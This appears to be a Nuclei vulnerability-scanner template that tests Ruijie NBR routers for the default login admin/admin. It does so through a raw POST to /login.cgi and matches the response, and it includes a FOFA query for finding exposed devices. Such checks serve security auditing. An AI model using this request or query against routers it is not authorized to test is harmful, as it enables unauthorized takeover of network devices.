id: ruijie-nbr-default-login

info:
  name: Ruijie NBR Series Routers - Default Login
  author: pussycat0x
  severity: high
  description: |
    Ruijie NBR Series Routers Default Login username and password was discovered.
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="上层网络出现异常，请检查外网线路或联系ISP运营商协助排查"
  tags: default-login,ruijie-nbr,vuln

http:
  - raw:
      - |
        POST /login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/login.html

        user={{username}}&password={{password}}

    stop-at-first-match: true
    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'index\.htm\?_([0-9]+)'

      - type: status
        status:
          - 200
# digest: 490a004630440220468e4f8993308f960904da016a39eea78d908ff85dc19ead902fd5aa21e112ba02207a606f09f4452a784e7edf0ccff2f4fa5d5524d248b1bcc9bf8f07d5733698fc:922c64590222798bb761d5b6d8e72950